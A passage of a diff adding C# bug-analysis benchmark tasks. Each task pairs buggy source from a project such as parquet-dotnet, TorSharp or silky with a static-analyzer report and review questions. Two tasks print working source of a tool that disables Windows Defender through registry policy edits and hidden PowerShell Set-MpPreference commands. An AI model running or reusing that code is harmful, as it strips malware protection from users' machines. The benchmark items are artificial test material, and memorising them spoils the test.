+                            //Thread.Sleep(10);
+                            if ((index & 1) == 0)
+                                shA[index >> 1].Modify((ref int n) => n = n - amount);
+                            else
+                                shB[index >> 1].Modify((ref int n) => n = n - amount);
+                        }
+                    }
+                    );
+                },
+                TaskCreationOptions.LongRunning
+                );
+            }
+            );
+            // it's correct if no sum is smaller than 100
+            var correct = true;
+            for (int j = 0; j < numFields; j++)
+                if (shA[j] + shB[j] < 100)
+                {
+                    correct = false;
+                    break;
+                }
+            Console.WriteLine("\n -- {0} ms with {1} iterations and is {2}.",
+                time, transactionCount, correct ? "correct" : "incorrect");
+        }
+
+        private class Dummy
+        {
+            public int Value;
+        }
+
+        public static void SimpleTreeTest()
+        {
+            ShieldedTree<int, Dummy> tree = new ShieldedTree<int, Dummy>();
+            Shield.InTransaction(() =>
+            {
+                foreach (int i in Enumerable.Range(1, 2000))
+                {
+                    tree.Add(1000 - i, new Dummy() { Value = 1000 - i });
+                    tree.Add(1000 - i, new Dummy() { Value = 1000 - i });
+                }
+            });
+            Shield.InTransaction(() =>
+            {
+                foreach (int i in Enumerable.Range(1, 1000).Select(x => x << 1))
+                {
+                    tree.Remove(1000 - i);
+                }
+            });
+            Shield.InTransaction(() =>
+            {
+                foreach (var kvp in tree.Range(100, 110))
+                    Console.WriteLine("Item: {0}", kvp.Key);
+            });
+        }
+
+        public static void SimpleCommuteTest()
+        {
+            var a = new Shielded<int>();
+
+            Shield.InTransaction(() => a.Commute((ref int n) => n++));
+            Console.WriteLine(a);
+
+            Shield.InTransaction(() =>
+            {
+                Console.WriteLine(a);
+                a.Commute((ref int n) => n++);
+                Console.WriteLine(a);
+            });
+            Console.WriteLine(a);
+
+            Shield.InTransaction(() =>
+            {
+                a.Commute((ref int n) => n++);
+                Console.WriteLine(a);
+            });
+            Console.WriteLine(a);
+        }
+
+        public static void Main(string[] args)
+        {
+            //TimeTests();
+
+            //OneTransaction();
+
+            //ControlledRace();
+
+            //DictionaryTest();
+
+            //BetShopTest();
+
+            //TreeTest();
+
+            //SkewTest();
+
+            //SimpleTreeTest();
+
+            //SimpleCommuteTest();
+
+            new Queue().Run();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of ConsoleTests.Queue::.ctor() at Line 587).ConsoleTests.Queue._barrier of type System.Threading.Barrier in method "Void MainClass.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void MainClass.Main(String[])
+
+### File:
+ConsoleTests/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f4e4092cdea7cab66469ebe3ad31e814
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0750/instruction.md b/inferredbugs-0750/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dabfc3262ec4814849e9f171e39ae8d158e1fa2d
--- /dev/null
+++ b/inferredbugs-0750/instruction.md
@@ -0,0 +1,241 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** parquet-dotnet
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using Parquet.File;
+using System.Collections.Generic;
+using System.Linq;
+using System.Collections;
+using Parquet.Data;
+
+namespace Parquet
+{
+   /// <summary>
+   /// Implements Apache Parquet format writer
+   /// </summary>
+   public class ParquetWriter : ParquetActor, IDisposable
+   {
+      private readonly Stream _output;
+      private readonly FileMetadataBuilder _meta;
+      private readonly ParquetOptions _formatOptions;
+      private readonly WriterOptions _writerOptions;
+      private Schema _existingSchema;
+      private bool _dataWritten;
+
+      /// <summary>
+      /// Creates an instance of parquet writer on top of a stream
+      /// </summary>
+      /// <param name="output">Writeable, seekable stream</param>
+      /// <param name="formatOptions">Additional options</param>
+      /// <param name="writerOptions">The writer options.</param>
+      /// <exception cref="ArgumentNullException">Output is null.</exception>
+      /// <exception cref="ArgumentException">Output stream is not writeable</exception>
+      public ParquetWriter(Stream output, ParquetOptions formatOptions = null, WriterOptions writerOptions = null) : base(output)
+      {
+         _output = output ?? throw new ArgumentNullException(nameof(output));
+         if (!output.CanWrite) throw new ArgumentException("stream is not writeable", nameof(output));
+         _formatOptions = formatOptions ?? new ParquetOptions();
+         _writerOptions = writerOptions ?? new WriterOptions();
+         _meta = new FileMetadataBuilder();
+      }
+
+      /// <summary>
+      /// Write out dataset to the output stream
+      /// </summary>
+      /// <param name="dataSet">Dataset to write</param>
+      /// <param name="compression">Compression method</param>
+      /// <param name="append">When true, appends to the file, otherwise creates a new file.</param>
+      public void Write(DataSet dataSet, CompressionMethod compression = CompressionMethod.Gzip, bool append = false)
+      {
+         PrepareFile(dataSet, append);
+
+         int offset = 0;
+         int count;
+         do
+         {
+            count = Math.Min(_writerOptions.RowGroupsSize, dataSet.Count - offset);
+            Thrift.RowGroup rg = _meta.AddRowGroup();
+            long rgStartPos = _output.Position;
+
+            rg.Columns = new List<Thrift.ColumnChunk>();
+            foreach(SchemaElement se in dataSet.Schema.Flatten())
+            {
+               var cw = new ColumnWriter(_output, ThriftStream, _meta, se, compression, _formatOptions, _writerOptions);
+               IList values = dataSet.GetColumn(se, offset, count);
+               Thrift.ColumnChunk chunk = cw.Write(offset, count, values);
+               rg.Columns.Add(chunk);
+            }
+
+            //row group's size is a sum of _uncompressed_ sizes of all columns in it, including the headers
+            //luckily ColumnChunk already contains sizes of page+header in it's meta
+            rg.Total_byte_size = rg.Columns.Sum(c => c.Meta_data.Total_compressed_size);
+            rg.Num_rows = count;
+
+            offset += _writerOptions.RowGroupsSize;
+         }
+         while (offset < dataSet.Count);
+
+         _dataWritten = true;
+      }
+
+      private void PrepareFile(DataSet ds, bool append)
+      {
+         if (append)
+         {
+            if (!_output.CanSeek) throw new IOException("destination stream must be seekable for append operations.");
+
+            ValidateFile();
+
+            Thrift.FileMetaData fileMeta = ReadMetadata();
+            _meta.SetMeta(fileMeta);
+
+            Schema existingSchema = new FileMetadataParser(fileMeta).ParseSchema(_formatOptions);
+
+            if (!ds.Schema.Equals(existingSchema))
+            {
+               throw new ParquetException($"{nameof(DataSet)} schema does not match existing file schema");
+            }
+
+            GoBeforeFooter();
+         }
+         else
+         {
+            if (_existingSchema == null)
+            {
+               _existingSchema = ds.Schema;
+
+               //file starts with magic
+               WriteMagic();
+
+               _meta.AddSchema(ds);
+            }
+            else
+            {
+               if(!_existingSchema.Equals(ds.Schema))
+               {
+                  throw new ParquetException($"expeted schema {_existingSchema} but found {ds.Schema}.");
+               }
+            }
+         }
+      }
+
+      /// <summary>
+      /// Writes <see cref="DataSet"/> to a target stream
+      /// </summary>
+      /// <param name="dataSet"><see cref="DataSet"/> to write</param>
+      /// <param name="destination">Destination stream</param>
+      /// <param name="compression">Compression method</param>
+      /// <param name="formatOptions">Parquet options, optional.</param>
+      /// <param name="writerOptions">Writer options, optional.</param>
+      /// <param name="append">When true, assumes that this stream contains existing file and appends data to it, otherwise writes a new Parquet file.</param>
+      public static void Write(DataSet dataSet, Stream destination, CompressionMethod compression = CompressionMethod.Gzip, ParquetOptions formatOptions = null, WriterOptions writerOptions = null, bool append = false)
+      {
+         using (var writer = new ParquetWriter(destination, formatOptions, writerOptions))
+         {
+            writer.Write(dataSet, compression, append);
+         }
+      }
+
+      /// <summary>
+      /// Writes <see cref="DataSet"/> to a target file
+      /// </summary>
+      /// <param name="dataSet"><see cref="DataSet"/> to write</param>
+      /// <param name="fileName">Path to a file to write to.</param>
+      /// <param name="compression">Compression method</param>
+      /// <param name="formatOptions">Parquet options, optional.</param>
+      /// <param name="writerOptions">Writer options, optional.</param>
+      /// <param name="append">When true, assumes that this stream contains existing file and appends data to it, otherwise writes a new Parquet file.</param>
+      public static void WriteFile(DataSet dataSet, string fileName, CompressionMethod compression = CompressionMethod.Gzip, ParquetOptions formatOptions = null, WriterOptions writerOptions = null, bool append = false)
+      {
+         using (Stream fs = System.IO.File.Create(fileName))
+         {
+            using (var writer = new ParquetWriter(fs, formatOptions, writerOptions))
+            {
+               writer.Write(dataSet, compression);
+            }
+         }
+      }
+
+      private void WriteMagic()
+      {
+         _output.Write(MagicBytes, 0, MagicBytes.Length);
+      }
+
+      /// <summary>
+      /// Finalizes file, writes metadata and footer
+      /// </summary>
+      public void Dispose()
+      {
+         if (!_dataWritten) return;
+
+         //finalize file
+         long size = ThriftStream.Write(_meta.ThriftMeta);
+
+         //metadata size
+         Writer.Write((int)size);  //4 bytes
+
+         //end magic
+         WriteMagic();              //4 bytes
+
+         Writer.Flush();
+         _output.Flush();
+      }
+   }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from System.IO.BinaryWriter Parquet.ParquetActor::get_Writer() at Line 178) of type System.IO.BinaryWriter, Leaked resource (returned from System.IO.BinaryWriter Parquet.ParquetActor::get_Writer() at Line 173) of type System.IO.BinaryWriter, Leaked resource (returned from Parquet.File.ThriftStream Parquet.ParquetActor::get_ThriftStream() at Line 170).Parquet.File.ThriftStream._protocol of type Thrift.Protocol.TCompactProtocol in method "Void ParquetWriter.Dispose()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ParquetWriter.Dispose()
+
+### File:
+src/Parquet/ParquetWriter.cs
+
+### Key:
+ParquetWriter.cs|Dispose|DOTNET_RESOURCE_LEAK
+
+### Hash:
+ec9b4113a0b67e3e0285863db74b952a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0751/instruction.md b/inferredbugs-0751/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fbd2c3abaf60337b648049643d405da33c2541ed
--- /dev/null
+++ b/inferredbugs-0751/instruction.md
@@ -0,0 +1,203 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** parquet-dotnet
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Parquet.Data;
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace Parquet.File
+{
+   /// <summary>
+   /// Responsible for merging values from different parts of column chunk
+   /// </summary>
+   class ValueMerger
+   {
+      private readonly SchemaElement _schema;
+      private readonly ParquetOptions _formatOptions;
+      private IList _values;
+
+      public ValueMerger(SchemaElement schema, ParquetOptions formatOptions, IList values)
+      {
+         _schema = schema;
+         _formatOptions = formatOptions;
+         _values = values;
+      }
+
+      /// <summary>
+      /// Applies dictionary with indexes and definition levels directly over the column
+      /// </summary>
+      public IList Apply(IList dictionary, List<int> definitions, List<int> repetitions, List<int> indexes, int maxValues)
+      {
+         if (dictionary == null && definitions == null && indexes == null && repetitions == null) return _values;  //values are just values
+
+         ApplyDictionary(dictionary, indexes, maxValues);
+
+         ApplyDefinitions(definitions, maxValues);
+
+         ApplyRepetitions(repetitions);
+
+         return _values;
+      }
+
+      private void ApplyDictionary(IList dictionary, List<int> indexes, int maxValues)
+      {
+         //merge with dictionary if present
+         if (dictionary == null) return;
+
+         //when dictionary has no indexes
+         if (indexes == null) return;
+
+         TrimTail(indexes, maxValues);
+
+         IList values = indexes
+            .Select(i => dictionary[i])
+            .ToList();
+
+         TrimTail(values, maxValues);
+
+         foreach (object el in values) _values.Add(el);
+      }
+
+      private void ApplyDefinitions(List<int> definitions, int maxValues)
+      {
+         if (definitions == null) return;
+
+         TrimTail(definitions, maxValues);
+
+         int valueIdx = 0;
+         IList values = TypeFactory.Create(_schema, _formatOptions, true);
+
+         foreach (int isDefinedInt in definitions)
+         {
+            bool isDefined = isDefinedInt != 0;
+
+            if (isDefined)
+            {
+               values.Add(_values[valueIdx++]);
+            }
+            else
+            {
+               values.Add(null);
+            }
+         }
+
+         _values = values;
+      }
+
+      private void ApplyRepetitions(List<int> repetitions)
+      {
+         if (repetitions == null) return;
+
+         var values = new List<IList>();
+         IList chunk = null;
+         int rep = int.MaxValue;
+
+         for(int i = 0; i < _values.Count; i++)
+         {
+            int cr = repetitions[i];
+
+            if (cr < rep)
+            {
+               if (chunk != null) values.Add(chunk);
+               chunk = TypeFactory.Create(_schema, _formatOptions, true);
+            }
+
+            rep = cr;
+            chunk.Add(_values[i]);
+         }
+
+         if (chunk.Count > 0) values.Add(chunk);
+
+         _values = values;
+      }
+
+      public static void TrimTail(IList list, int maxValues)
+      {
+         if (list == null) return;
+
+         if (list.Count > maxValues)
+         {
+            int diffCount = list.Count - maxValues;
+            while (--diffCount >= 0) list.RemoveAt(list.Count - 1); //more effective than copying the list again
+         }
+      }
+
+      public static void TrimHead(IList list, int maxValues)
+      {
+         if (list == null) return;
+
+         while (list.Count > maxValues)
+         {
+            list.RemoveAt(0);
+         }
+      }
+
+      public static void Trim(IList list, int offset, int count)
+      {
+         TrimHead(list, list.Count - offset);
+         TrimTail(list, count);
+      }
+
+   }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `chunk` last assigned on line 91 could be null and is dereferenced at line 105, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ValueMerger.ApplyRepetitions(List`1<!0>)
+
+### File:
+src/Parquet/File/ValueMerger.cs
+
+### Key:
+ValueMerger.cs|ApplyRepetitions|NULL_DEREFERENCE
+
+### Node Key:
+237e920bd59c9281f7519159d3f6a5e3
+
+### Hash:
+483292eeea17ccd8e727783b932ba171
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0757/instruction.md b/inferredbugs-0757/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..df11c7a6d38d340b7c05593aaeb6f082ee11954e
--- /dev/null
+++ b/inferredbugs-0757/instruction.md
@@ -0,0 +1,126 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Disable-Windows-Defender
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Win32;
+using System;
+using System.Diagnostics;
+using System.Security.Principal;
+using System.Threading;
+
+//       │ Author     : NYAN CAT
+//       │ Name       : Disable Windows Defender v0.2
+//       │ Contact    : https://github.com/NYAN-x-CAT
+
+//       This program is distributed for educational purposes only. 
+
+namespace Disable_Windows_Defender
+{
+    class Program
+    {
+        static void Main()
+        {
+
+            if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
+
+            try
+            {
+                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableAntiSpyware", "00000001", RegistryValueKind.DWord);
+            }
+            catch { }
+
+            try
+            {
+                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableBehaviorMonitoring", "00000001", RegistryValueKind.DWord);
+
+                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableOnAccessProtection", "00000001", RegistryValueKind.DWord);
+
+                Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", RegistryKeyPermissionCheck.ReadWriteSubTree).SetValue("DisableScanOnRealtimeEnable", "00000001", RegistryValueKind.DWord);
+            }
+            catch { }
+
+            Thread.Sleep(100);
+
+            try
+            {
+                ProcessStartInfo ps = new ProcessStartInfo();
+                ps.FileName = "powershell.exe";
+                ps.Arguments = " Set-MpPreference -DisableRealtimeMonitoring $true";
+                ps.WindowStyle = ProcessWindowStyle.Hidden;
+                Process process = new Process();
+                process.StartInfo = ps;
+                process.Start();
+            }
+            catch { }
+
+            Thread.Sleep(100);
+
+            try
+            {
+                ProcessStartInfo ps = new ProcessStartInfo();
+                ps.FileName = "powershell.exe -executionpolicy";
+                ps.Arguments = " Set-MpPreference -DisableBehaviorMonitoring $true";
+                ps.WindowStyle = ProcessWindowStyle.Hidden;
+                Process process = new Process();
+                process.StartInfo = ps;
+                process.Start();
+            }
+            catch { }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource process of type System.Diagnostics.Process in method "Void Program.Main()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main()
+
+### File:
+Disable-Windows-Defender/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+4cecabf6fab6da000ad803cc611d959d
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0758/instruction.md b/inferredbugs-0758/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0d339748ff1baf55ec266d8ca6bc3368ece75662
--- /dev/null
+++ b/inferredbugs-0758/instruction.md
@@ -0,0 +1,133 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Disable-Windows-Defender
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Win32;
+using System;
+using System.Diagnostics;
+using System.Security.Principal;
+using System.Threading;
+
+//       │ Author     : NYAN CAT
+//       │ Name       : Disable Windows Defender v0.4
+//       │ Contact    : https://github.com/NYAN-x-CAT
+
+//       This program is distributed for educational purposes only. 
+
+namespace Disable_Windows_Defender
+{
+    class Program
+    {
+        static void Main()
+        {
+
+            if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
+
+            RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
+            RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring","1");
+            RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1");
+            RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
+
+            Thread.Sleep(100);
+
+            RunPS("Set-MpPreference -DisableRealtimeMonitoring $true"); //real-time protection
+            RunPS("Set-MpPreference -DisableBehaviorMonitoring $true"); //behavior monitoring
+            RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true");
+            RunPS("Set-MpPreference -DisableIOAVProtection $true"); //scans all downloaded files and attachments
+            RunPS("Set-MpPreference -DisablePrivacyMode $true"); //displaying threat history
+            RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"); //definition updates on startup
+            RunPS("Set-MpPreference -DisableArchiveScanning $true"); //scan archive files, such as .zip and .cab files
+            RunPS("Set-MpPreference -DisableScriptScanning $true"); //scanning of scripts during scans
+            RunPS("Set-MpPreference -SubmitSamplesConsent Never"); //MAPSReporting 
+            RunPS("Set-MpPreference -MAPSReporting 0"); //MAPSReporting 
+        }
+
+        private static void RegistryEdit(string regPath, string name, string value)
+        {
+            try
+            {
+                using (RegistryKey key = Registry.LocalMachine.OpenSubKey(regPath,RegistryKeyPermissionCheck.ReadWriteSubTree))
+                {
+                    if (key == null)
+                    {
+                        Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord);
+                        return;
+                    }
+                    if (key.GetValue(name) != (object)value)
+                        key.SetValue(name, value, RegistryValueKind.DWord);
+                }
+            }
+            catch { }
+        }
+
+        private static void RunPS(string args)
+        {
+            try
+            {
+                ProcessStartInfo ps = new ProcessStartInfo();
+                ps.FileName = "powershell.exe";
+                ps.Arguments = args;
+                ps.WindowStyle = ProcessWindowStyle.Hidden;
+                Process process = new Process();
+                process.StartInfo = ps;
+                process.Start();
+            }
+            catch { }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource process of type System.Diagnostics.Process in method "Void Program.RunPS(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.RunPS(String)
+
+### File:
+Disable-Windows-Defender/Program.cs
+
+### Key:
+Program.cs|RunPS|DOTNET_RESOURCE_LEAK
+
+### Hash:
+9da12068ef7c76ce29cfc8dc26ae1d01
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0759/instruction.md b/inferredbugs-0759/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a7a9f8f8ce10f975f96561fb0331f7941f983b08
--- /dev/null
+++ b/inferredbugs-0759/instruction.md
@@ -0,0 +1,100 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** TorSharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.IO;
+using System.Net;
+using System.Net.Http;
+
+namespace Knapcode.NetTor.Sandbox
+{
+    internal class Program
+    {
+        private static void Main()
+        {       
+            var netTorProxy = new NetTorProxy(new NetTorSettings
+            {
+                ReloadTools = false,
+                ZippedToolsDirectory = @"ZippedTools",
+                ExtractedToolsDirectory = Path.Combine(Path.GetTempPath(), "NetTor"),
+                PrivoxyPort = 1337,
+                TorSocksPort = 1338,
+                TorControlPort = 1339,
+                TorControlPassword = "foobar"
+            });
+
+            netTorProxy.ConfigureAndStartAsync().Wait();
+
+            {
+                var handler = new HttpClientHandler { Proxy = new WebProxy(new Uri("http://localhost:1337")) };
+                var client = new HttpClient(handler);
+                Console.WriteLine(client.GetStringAsync("http://v4.ipv6-test.com/api/myip.php").Result);
+            }
+
+            netTorProxy.GetNewIdentityAsync().Wait();
+
+            {
+                var handler = new HttpClientHandler { Proxy = new WebProxy(new Uri("http://localhost:1337")) };
+                var client = new HttpClient(handler);
+                Console.WriteLine(client.GetStringAsync("http://v4.ipv6-test.com/api/myip.php").Result);
+            }
+
+            netTorProxy.Stop();
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource handler of type System.Net.Http.HttpClientHandler, Leaked resource client of type System.Net.Http.HttpClient in method "Void Program.Main()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main()
+
+### File:
+NetTor.Sandbox/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+72c192f7de5172559123dc264c8091a3
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0760/instruction.md b/inferredbugs-0760/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..af31796b744fca09688fc53e27f8375131c02573
--- /dev/null
+++ b/inferredbugs-0760/instruction.md
@@ -0,0 +1,82 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** silky
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Net;
+using Lms.Core.Modularity;
+using Microsoft.Extensions.Configuration;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.DependencyInjection.Extensions;
+using Microsoft.Extensions.Hosting;
+
+namespace Lms.Core
+{
+    public static class ServiceCollectionExtensions
+    {
+        public static IEngine ConfigureLmsServices(this IServiceCollection services, IConfiguration configuration, IHostEnvironment hostEnvironment)
+        {
+            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
+            services.AddHttpContextAccessor();
+            CommonHelper.DefaultFileProvider = new LmsFileProvider(hostEnvironment);
+            var engine = EngineContext.Create();
+            var moduleLoder = new ModuleLoader();
+            services.TryAddSingleton<IModuleLoader>(moduleLoder);
+            engine.ConfigureServices(services, configuration);
+            return engine;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Lms.Core.LmsFileProvider::.ctor() at Line 16) of type Microsoft.Extensions.FileProviders.PhysicalFileProvider in method "IEngine ServiceCollectionExtensions.ConfigureLmsServices(IServiceCollection,IConfiguration,IHostEnvironment)".
+
+### Severity:
+ERROR
+
+### Procedure:
+IEngine ServiceCollectionExtensions.ConfigureLmsServices(IServiceCollection,IConfiguration,IHostEnvironment)
+
+### File:
+framework/src/Lms.Core/ServiceCollectionExtensions.cs
+
+### Key:
+ServiceCollectionExtensions.cs|ConfigureLmsServices|DOTNET_RESOURCE_LEAK
+
+### Hash:
+112f37d10f502ca39213714dcff8a798
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0761/instruction.md b/inferredbugs-0761/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..55a770c9055ac76ecfb7810cd8a28e3615813b22
--- /dev/null
+++ b/inferredbugs-0761/instruction.md
@@ -0,0 +1,671 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** silky
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Configuration;
+using Silky.Core;
+using Silky.Core.Exceptions;
+using Silky.Core.Extensions;
+using Silky.Core.Extensions.Collections.Generic;
+using Silky.Core.Rpc;
+using Silky.HealthChecks.Rpc.ServerCheck;
+using Silky.Http.Dashboard.AppService.Dtos;
+using Silky.Http.Dashboard.Configuration;
+using Silky.Rpc.CachingInterceptor.Providers;
